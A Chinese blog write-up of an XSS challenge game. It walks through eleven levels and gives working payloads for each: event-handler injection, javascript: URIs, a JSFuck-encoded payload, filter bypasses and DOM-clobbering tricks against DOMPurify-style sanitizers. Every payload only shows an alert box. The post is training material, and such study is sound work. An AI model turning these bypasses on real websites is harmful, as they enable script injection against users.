当前位置： 首页 > news >正文

XSS小游戏（题目+解析）DOM破坏！！！

news 来源：原创 2024/9/20 23:48:01

文章目录

  • 一、Ma Spaghet!
  • 二、Jefff
  • 三、Ugandan Knuckles
  • 四、Ricardo Milos
  • 五、Ah That's Hawt
  • 六、Ligma
  • 七、Mafia
      • 方法一：可以用匿名函数来试试
      • 方法二：利用toString方法
      • 方法三：利用location和hash切片slice
  • 八、Ok, Boomer
  • 九、svg
  • 十、DOM破坏
  • 十一、WW3

xss题目练习地址：
xss小游戏
游戏界面
在这里插入图片描述

一、Ma Spaghet!

在这里插入图片描述
我将题目要求进行翻译:
题目的主要要求就是：弹出一个（1337）的弹窗
在这里插入图片描述
开始解题：
Let’s Go!
在这里插入图片描述
首先，传个参数看看
在这里插入图片描述
发现参数直接显示在了 < h2 > 标签里面了，肯定是有问题的。
回看一下代码：
在这里插入图片描述
用的是innerHTML，这个就是解题的关键，它里面有一个威胁标签，官方将其禁用了，就是 < script > 但是也只是禁用了这一个标签，所以换一个就行了用 < img > 试试：

成功！在这里插入图片描述
绕过代码：

?somebody=<img src="1" onerror="alert(1337)">

二、Jefff

在这里插入图片描述
看代码知道：

"Ma name ${jeff}"

这个值赋值给了ma，然后在1秒的睡眠后，在页面输出
那么就正常的绕过思路（用双引号绕过，然后注释掉后面的引号）：
成功！
在这里插入图片描述
绕过代码：

?jeff=1";alert(1337);//

也可以用另一种方法，也和上面这个方法差不多（换个表示方法）：
在这里插入图片描述
代码：

?jeff=1"-alert(1337);-"

三、Ugandan Knuckles

在这里插入图片描述
看代码加了点限制;

wey = wey.replace(/[<>]/g, '')

他过滤了尖括号，然后放在了input位置
那么这里就要使用一个方法了：
onfocus ：焦点（获取焦点事件）
input天生就有焦点事件：
在这里插入图片描述
如上图（红框）
鼠标在上面移动时，显示的就是焦点
同时还要搭配另一个方法：autofocus （自动聚焦）

我们来看看效果：
成功！
在这里插入图片描述

绕过代码：

?wey=aaa" οnfοcus=alert(1337) autofocus="

autofocus自动聚焦到 onfocus 让他自动执行 alert(1337)

四、Ricardo Milos

在这里插入图片描述
这题多了一个（submit）提交事件，在两秒后自动运行action，那么明显action是一个注入点：
成功！
在这里插入图片描述
绕过代码：

?ricardo=javascript:alert(1337)

五、Ah That’s Hawt

在这里插入图片描述
这个题目可以试试用 location ：用于获取或设置窗体的URL，并且可以用于解析URL
成功！
在这里插入图片描述
绕过代码：

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

开始我后面写的是：

"javascript:alert%281337%29"

但是不能运行，所以我把 % 也进行了编码转换（% = %25）然后就成功了

六、Ligma

在这里插入图片描述
这个题（有点狠呀！）过滤了字母和数字，看到的时候还是愣了一下，想不到解决方法 ~~~ 毕竟每个绕过（查找）都要有字母数字
所以我当时唯一想到的就是用编码的方式绕过：
先找一个好的编码网页：
在这里插入图片描述
得到编码，但是还不行，还要进行编码：
在这里插入图片描述
全部复制：
在这里插入图片描述
指定参数进行传参：

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

七、Mafia

在这里插入图片描述
限制了字长，过滤了字符，过滤了alert，其实还过滤了另外两个（confirm，prompt），作者应该是写错代码了，不然仅过滤一个alert，那我们可以用（confirm，prompt）这两个绕过，那这题就没意义了。

方法一：可以用匿名函数来试试

匿名函数先定义的函数，然后在里面将函数的源码转为小写
在这里插入图片描述

绕过代码：

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法二：利用toString方法

十六进制，alert转换的话，30刚好到 “t” ，如果小于 30 那么 就只能解析为 aler 少了 “t”
在这里插入图片描述

绕过代码：

?mafia=eval(8680439..toString(30))(1337)

相对于把前面 “eval(8680439…toString(30))” 这个代码转换为 alert

方法三：利用location和hash切片slice

在这里插入图片描述
绕过代码：

?mafia=eval(location.hash.slice(1))#alert(1337)

后面的 “alert(1337)” 不会被认为是前面的参数，所以不会被过滤

八、Ok, Boomer

在这里插入图片描述
新增了一个过滤框架 “DOMPurify” ，这个框架基本无法绕过
可以利用 js 弱类型语言的特点
可以把函数放入字符串中，然后执行，那么我们就可以利用这个来操作。a标签的href会自动替换为字符串，而在代码中可以知道，它会自动获取到href的值，那么我们就可以将函数写入到href当中。
成功！
在这里插入图片描述
绕过代码：

?boomer=<a id=ok href="tel:alert(1337)">

注意：“ “tel:alert(1337)” 这里我写的是tel ，因为javascript 在“DOMPurify” 这个框架中是黑名单，所以我换成了这个 tel 因为这个在白名单里面，是被框架允许的”

九、svg

在这里插入图片描述
利用svg再嵌套一个svg实现输出
在这里插入图片描述
至于这个原理：经过我的查找，我的理解是在进行文件执行前，会进行一个DOM树的构建，而如果只是一个svg的话，由于js阻塞dom树，一直到js语句执行结束后，才可以引入img，此时img的属性已经被sanitizer清除了，自然也不可能执行事件代码了。
而如果是嵌套 svg 的话，我理解的是**最内层的svg先触发，然后再到下一层，而且是在DOM树构建完成以前就触发了相关事件；最外层的svg则得等到DOM树构建完成才能触发。**也就是说只要嵌套两个及以上的svg就会执行输出（个人想法，不知道对不对，对这个有了解的可以解答一下，我这个想法是对的吗）

十、DOM破坏

在这里插入图片描述
源码：

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keywords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><script>alert(1)</script></title>
</head><body><style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
</body>
<script>const data = decodeURIComponent(location.hash.substr(1))const root = document.createElement('div')root.innerHTML = data// console.log(root.querySelectorAll('*'))for (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name)}for (let name of attrs) {el.removeAttribute(name);}}document.body.appendChild(root);
</script></html>

主要的原理就是 “< input id=attributes> < input id=attributes>”利用这两个input无关紧要的值代替里面要被删除的合法属性参数，从而使前面“< style>@keyframes x{}</ style>< form style=“animation-name: x” onanimationstart=“alert(1)”>”这个代码进行逃逸（绕过），使能够在页面执行输出。

十一、WW3

在这里插入图片描述
源代码：

<!-- Challenge -->
<div><h4>Meme Code</h4><textarea class="form-control" id="meme-code" rows="4"></textarea><div id="notify"></div>
</div><script>/* Utils */const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');const memeTemplate = (img, text) => {return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)}const memeGen = (that, notify) => {if (text && img) {template = memeTemplate(img, text)if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}setTimeout(_ => {$('#status').remove()notify ? ($('#notify').html(html)) : ''$('#meme-code').text(template)}, 1000)}}
</script><script>/* Main */let notify = false;let text = new URL(location).searchParams.get('text')let img = new URL(location).searchParams.get('img')if (text && img) {document.write(`<div class="alert alert-primary" role="alert" id="status">`+`<img class="circle" src="${escape(img)}" οnlοad="memeGen(this, notify)">`+`Creating meme... (${DOMPurify.sanitize(text)})</div>`)} else {$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))}
</script>

经过对代码的分析，发现，基本都有过滤，但是还是有切入点的，就是以下这个
在这里插入图片描述
如果正确，那么就会输出以下代码，我们可以在这个代码中做文章

 if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}

很明显也是要用到DOM破坏的
利用自动补全机制，通过嵌套 < style > 使< script > 写进div里面进行执行
成功！ 在这里插入图片描述
绕过代码：

?text=<img%20name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Lambda表达式与流式编程
  • 开发笔记：uniapp+vue+微信小程序 picker +后端 省市区三级联动
  • 超精细CG杰作：8K壁纸级官方艺术插画，展现极致美丽与细节的汉服女孩
  • nginx实战演练
  • Vue3核心探索：深入解析组合式API中的mount方法
  • 保研考研机试攻略：第三章——数学（1）
  • 代码随想录算法训练营 | 动态规划 part05
  • 设计模式解析：组合模式与装饰模式
  • php7.4二进制安装-contos7
  • HoloLens 和 Unity 空间坐标系统 Coordinate systems
  • 信号signal与信号量semaphore的区别
  • 基于STM32开发的智能植物浇水系统
  • 音视频相关知识
  • 算法的学习笔记—链表中倒数第 K 个结点(牛客JZ22)
  • 激光雷达点云投影到图像平面
  • 《用数据讲故事》作者Cole N. Knaflic：消除一切无效的图表
  • 【EOS】Cleos基础
  • 【跃迁之路】【463天】刻意练习系列222（2018.05.14）
  • angular学习第一篇-----环境搭建
  • CAP 一致性协议及应用解析
  • emacs初体验
  • iBatis和MyBatis在使用ResultMap对应关系时的区别
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • NSTimer学习笔记
  • Promise面试题，控制异步流程
  • React的组件模式
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • 安卓应用性能调试和优化经验分享
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 基于Android乐音识别(2)
  • 如何正确配置 Ubuntu 14.04 服务器？
  • 延迟脚本的方式
  • 责任链模式的两种实现
  • 7行Python代码的人脸识别
  • 阿里云服务器如何修改远程端口？
  • 交换综合实验一
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​MPV，汽车产品里一个特殊品类的进化过程
  • ​中南建设2022年半年报“韧”字当头，经营性现金流持续为正​
  • # AI产品经理的自我修养：既懂用户，更懂技术！
  • # 利刃出鞘_Tomcat 核心原理解析（八）-- Tomcat 集群
  • （2）nginx 安装、启停
  • （k8s）Kubernetes本地存储接入
  • （附源码）springboot教学评价 毕业设计 641310
  • （附源码）springboot学生选课系统 毕业设计 612555
  • （附源码）ssm高校升本考试管理系统 毕业设计 201631
  • （五）关系数据库标准语言SQL
  • （学习日记）2024.02.29：UCOSIII第二节
  • （一一四）第九章编程练习
  • （转）GCC在C语言中内嵌汇编 asm __volatile__
  • (转载)hibernate缓存
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • *p=a是把a的值赋给p，p=a是把a的地址赋给p。
  • .NET DevOps 接入指南 | 1. GitLab 安装
  • .NET Micro Framework 4.2 beta 源码探析